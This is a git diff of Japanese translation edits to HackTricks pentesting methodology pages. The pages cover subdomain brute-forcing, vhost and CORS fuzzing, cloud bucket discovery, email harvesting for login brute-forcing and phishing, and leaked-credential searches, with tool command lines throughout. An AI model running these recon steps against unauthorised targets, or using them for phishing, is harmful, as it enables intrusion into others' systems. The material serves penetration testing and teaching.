これらのツールの**比較**をこちらで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNSブルートフォース** -可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけてみましょう。 +可能なサブドメイン名を使用してDNSサーバーをブルートフォースして新しい**サブドメイン**を見つけてみましょう。 このアクションには、次のような**一般的なサブドメインのワードリスト**が必要です: @@ -349,7 +349,7 @@ python3 DomainTrail.py -d example.com * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -さらに、信頼できるDNSリゾルバのIPアドレスも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングします。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。 +さらに、信頼できるDNSリゾルバのIPも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングすることができます。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。 DNSブルートフォースに最も推奨されるツールは次のとおりです: @@ -359,11 +359,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用していると思います +* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用すると思います ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。 +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。Go言語で書かれています。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -371,19 +371,19 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、非同期でドメイン名を総当たり攻撃するためにasyncioを使用します。 +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、ドメイン名を非同期でブルートフォースするために asyncio を使用します。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` ### 第二のDNSブルートフォースラウンド -オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます: +オープンソースやブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます: * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。 ```bash cat subdomains.txt | dnsgen - ``` -* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインが与えられた場合、順列を生成します。 +* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。 * goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)から入手できます。 ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt @@ -393,27 +393,27 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` * [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようともします(ただし、以前にコメントされたツールを使用する方が良いです)。 -* altdnsの順列 **ワードリスト** は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 +* altdnsの順列の**ワードリスト**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` * [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、および変更を実行する別のツール。このツールは結果を総当たり攻撃します(dnsワイルドカードはサポートされていません)。 -* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。 +* [**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)からdmutの順列ワードリストを入手できます。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて**新しい潜在的なサブドメイン名を生成**し、より多くのサブドメインを発見しようとします。 +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、より多くのサブドメインを発見しようとします。 #### スマートな順列生成 -* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。 +* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**post**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、極めてシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズツールです。特製のワードリストや過去のDNS/TLSレコードなどの入力データセットを使用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。 +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、極めてシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズツールです。_subzuf_ は、カスタマイズされたワードリストや過去のDNS/TLSレコードなどの提供された入力データを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらに拡張します。 ``` echo www | subzuf facebook.com ``` @@ -427,7 +427,7 @@ echo www | subzuf facebook.com ### **VHosts / バーチャルホスト** -サブドメインに属する**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の他のサブドメインを見つけることができます。これは、IP内のドメインを検索するか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことによって行えます。 +サブドメインを含むIPアドレスを見つけた場合、そのIP内にある**1つ以上のウェブページ**を持つサブドメインを見つけるために、**OSINTソース**でIP内のドメインを検索するか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことができます。 #### OSINT @@ -435,7 +435,7 @@ echo www | subzuf facebook.com **ブルートフォース** -Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、それをブルートフォースで試すことができます。 +Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、ブルートフォースしてみることができます。 ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -453,43 +453,43 @@ VHostScan -t example.com このテクニックを使用すると、内部/非公開のエンドポイントにアクセスできるかもしれません。 {% endhint %} -### **CORS ブルートフォース** +### **CORS Brute Force** -時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。 これらのシナリオでは、この動作を悪用して、新しい **サブドメイン** を**発見**することができます。 +時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を**発見**することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **バケツのブルートフォース** -**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。\ +**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\ また、この時点でスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 ### **モニタリング** -ドメインの**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。これは**証明書透過性**ログを監視する[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。 +**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。**証明書透明性**ログを監視することで、[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。 ### **脆弱性の探索** 可能な[**サブドメイン乗っ取り**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\ **サブドメイン**が**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この書籍でそれらを"攻撃"するためのヒント**を見つけることができます。\ +アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行中のサービスに応じて、**この書籍でそれらを"攻撃"するためのいくつかのトリック**を見つけることができます。\ _サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある可能性があることに注意してください。_ ## IPs 初期段階で**いくつかのIP範囲、ドメイン、およびサブドメイン**を見つけたかもしれません。\ -これらの範囲から**すべてのIP**と**ドメイン/サブドメイン(DNSクエリ)**を再収集する時がきました。 +これらの範囲から**すべてのIPを再収集**し、**ドメイン/サブドメイン(DNSクエリ)**を行う時がきました。 -以下の**無料API**を使用すると、ドメインとサブドメインで以前に使用されたIPを見つけることもできます。これらのIPはクライアントが所有している可能性があります(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません) +以下の**無料API**を使用して、**以前にドメインとサブドメインで使用されたIP**を見つけることもできます。これらのIPはクライアントが所有している可能性があり(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません) * [**https://securitytrails.com/**](https://securitytrails.com/) -また、ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。 +また、ツール[**hakip2host**](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。 ### **脆弱性の探索** -CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。 +CDNに属さないすべてのIPを**ポートスキャン**してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。 **ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。** @@ -497,29 +497,29 @@ CDNに属さないすべてのIPに**ポートスキャン**を実行してく > すべての企業とその資産を見つけ、IP範囲、ドメイン、およびスコープ内のサブドメインを把握しています。Webサーバーを検索する時がきました。 -前の手順でおそらくすでに発見されたIPとドメインの**調査**を実行しているかもしれませんので、すでに**可能なすべてのWebサーバー**を見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**迅速なトリック**を見ていきます。 +前のステップで、おそらくすでに発見されたIPとドメインの**調査**を実行しているかもしれませんので、**すでに可能なすべてのWebサーバー**を見つけているかもしれません。ただし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。 -これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は**脆弱性**と**ポートスキャン**も実行する必要があります。 +これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は、**脆弱性**と**ポートスキャン**も実行する必要があります。 -[**masscanを使用して**関連する**Web**サーバーに**オープンなポートを発見する**迅速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\ -Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すよう指示することもできます。 +[**masscanを使用して**関連する**Web**サーバーの**オープンポートを発見する**高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\ +Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます。 ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **スクリーンショット** -スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中から)を発見したので、おそらくどこから始めればよいかわからないでしょう。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。メインページを見るだけで、脆弱性を抱えやすい奇妙なエンドポイントを見つけることができます。 +スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中のIPアドレス)を発見したので、おそらくどこから始めればよいかわからないでしょう。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。メインページを見るだけで、脆弱性を抱えている可能性が高い奇妙なエンドポイントを見つけることができます。 -提案されたアイデアを実行するためには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。 +提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。 -さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべてのスクリーンショットを実行し、どこに脆弱性が含まれている可能性が高いか、含まれていないかを確認できます。 +さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべてのスクリーンショットを実行し、脆弱性を含んでいそうなものとそうでないものを教えてもらうことができます。 ## パブリッククラウド資産 -企業に関連する潜在的なクラウド資産を見つけるには、その企業を識別するキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、""、<"subdomain_names">などの単語を使用できます。 +企業に関連する潜在的なクラウド資産を見つけるためには、その企業を識別するキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、""、<"subdomain_names">などの単語を使用するかもしれません。 -また、バケツで使用される一般的な単語のワードリストが必要です: +また、バケツで使用される一般的な単語のワードリストが必要です: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) @@ -533,11 +533,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性を探す** -オープンなバケツや公開されたクラウド関数などのものを見つけた場合は、それらにアクセスして提供されるものを確認し、悪用できるかどうかを試してください。 +オープンバケツや公開されたクラウド関数などのものを見つけた場合は、アクセスして、提供されている内容を確認し、悪用できるかどうかを試してみてください。 ## メール -スコープ内のドメインとサブドメインがあれば、企業のメールアドレスを検索を開始するために必要なものがすべて揃っています。これらは私にとって最も効果的だった企業のメールアドレスを見つけるためのAPIとツールです: +スコープ内のドメインとサブドメインがあれば、企業のメールアドレスを検索を開始するために必要なものはすべて揃っています。 + +私にとって最も効果的だった企業のメールアドレスを見つけるためのAPIとツールは以下の通りです: - [**theHarvester**](https://github.com/laramies/theHarvester) - APIsを使用 - [**https://hunter.io/**](https://hunter.io/)のAPI(無料版) @@ -546,11 +548,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性を探す** -後でメールは、WebログインやSSHなどの認証サービスをブルートフォース攻撃するのに役立ちます。また、フィッシングには必要不可欠です。さらに、これらのAPIは、メールアドレスの背後にいる人物についてのさらなる情報を提供し、フィッシングキャンペーンに役立ちます。 +後でメールアドレスは、WebログインやSSHなどの認証サービスをブルートフォース攻撃するために役立ちます。また、フィッシング攻撃にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる人物についてのさらなる情報を提供してくれるため、フィッシングキャンペーンに役立ちます。 ## 資格情報の漏洩 -ドメイン、サブドメイン、およびメールアドレスを使用して、過去に漏洩した資格情報を探すことができます: +ドメイン、サブドメイン、およびメールアドレスを使用して、過去に漏洩した資格情報を探すことができます: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) @@ -561,18 +563,18 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## シークレットの漏洩 -資格情報の漏洩は、企業のハッキングに関連し、機密情報が漏洩され、販売されたものです。ただし、企業はそのデータベースにない情報が含まれている可能性のある他の漏洩にも影響を受けるかもしれません。 +資格情報の漏洩は、企業のハッキングに関連し、機密情報が漏洩され、販売された場合に起こります。ただし、企業はそのデータベースにない情報が含まれる可能性のある他の漏洩にも影響を受けるかもしれません。 ### Githubの漏洩 -資格情報やAPIが、企業の公開リポジトリやそのgithub企業の開発者によって公開される可能性があります。\ -[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、組織とその開発者のすべての公開リポジトリをダウンロードし、自動的に[gitleaks](https://github.com/zricethezav/gitleaks)を実行できます。 +資格情報やAPIが、企業の公開リポジトリやそのgithub企業の従業員が作業しているユーザーの公開リポジトリに漏洩している可能性があります。\ +[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、組織とその開発者のすべての公開リポジトリをダウンロードし、[**gitleaks**](https://github.com/zricethezav/gitleaks)を自動的に実行できます。 -**Leakos**は、渡されたURLのすべての**テキスト**に対して**gitleaks**を再実行するために使用できます。なぜなら、**ウェブページにもシークレットが含まれることがある**からです。 +**Leakos**は、渡されたURLのすべてのテキストに対して**gitleaks**を再実行するためにも使用できます。ときには**Webページにもシークレットが含まれている**ことがあります。 #### Github Dorks -攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください: +攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -580,12 +582,12 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### ペーストの漏洩 -攻撃者や単なる作業者が、企業のコンテンツをペーストサイトに公開することがあります。これには機密情報が含まれている可能性がありますが、含まれていない可能性もあります。\ -80以上のペーストサイトで検索するために[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用できます。 +攻撃者や作業者が企業のコンテンツをペーストサイトに公開することがあります。これには機密情報が含まれる可能性がありますが、含まれない場合もあります。\ +80以上のペーストサイトで検索するために、[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用できます。 ### Google Dorks -古くからのGoogle Dorksは、**そこにあってはならない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のようなツールを使用してすべてを実行できます。 +古くからあるGoogle Dorksは、**そこにあってはいけない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできません。お気に入りの10個を選ぶか、[**Gorks**](https://github.com/carlospolop/Gorks)のようなツールを使用してすべてを実行することができます。 _通常のGoogleブラウザを使用してデータベース全体を実行することを期待しているツールは、Googleがすぐにブロックするため、決して終了しません。_ @@ -595,37 +597,37 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す ## パブリックコードの脆弱性 -企業が**オープンソースコード**を持っていることがわかった場合、そのコードを**分析**して**脆弱性**を検索できます。 +企業が**オープンソースコード**を持っている場合、そのコードを**分析**して**脆弱性**を検索できます。 -**言語によって異なるツール**があります: +**言語によって異なるツール**があります: {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することができます: +また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます: - [**Snyk**](https://app.snyk.io/) ## [**Webペンテスト手法**](../../network-services-pentesting/pentesting-web/) -**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。 +**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この段階で**Webアプリケーションのテスト手法**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。 また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに役立ちます**。 ## 要約 -> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を行っています。はい、基本的なものですが、さらに多くの列挙ができます(後でさらなるトリックを見ていきます)。 +> おめでとうございます!この時点で**すべての基本的な列挙**をすでに実行しています。はい、基本的なものですが、さらに多くの列挙ができます(後でさらなるトリックを見るでしょう)。 したがって、すでに次のことを行っています: -1. スコープ内の**すべての企業**を見つけました -2. 企業に属する**すべての資産**を見つけました(スコープ内の場合は脆弱性スキャンも実行) -3. 企業に属する**すべてのドメイン**を見つけました -4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?) -5. スコープ内の**CDNからでないIP**を含むすべての**IP**を見つけました -6. **すべてのWebサーバー**を見つけ、**スクリーンショット**を取りました(深く調査する価値のある奇妙なものはありますか?) +1. スコープ内の**企業**をすべて見つけました +2. 企業に属するすべての**資産**を見つけました(スコープ内であればいくつかの脆弱性スキャンを実行) +3. 企業に属するすべての**ドメイン**を見つけました +4. ドメインのすべての**サブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?) +5. スコープ内の**CDNからでないIP**をすべて見つけました +6. すべての**Webサーバー**を見つけ、それらの**スクリーンショット**を撮りました(より詳しく調査する価値のある奇妙なものはありましたか?) 7. 企業に属する**潜在的なパブリッククラウド資産**をすべて見つけました -8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**シークレットの漏洩**を見つけました +8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました 9. 見つけたすべてのWebを**ペンテスト**しました ## **完全なRecon自動ツール** @@ -641,7 +643,7 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す * [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など -
+
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 @@ -649,14 +651,14 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキングを学ぶ** HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出することで、あなたのハッキングトリックを共有してください。 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 5ce6d9769..9532c083d 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,21 +2,21 @@
-htARTE(HackTricks AWS Red Team Expert)を使って、**ゼロからヒーローまでAWSハッキングを学ぶ** +htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** +- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-
+
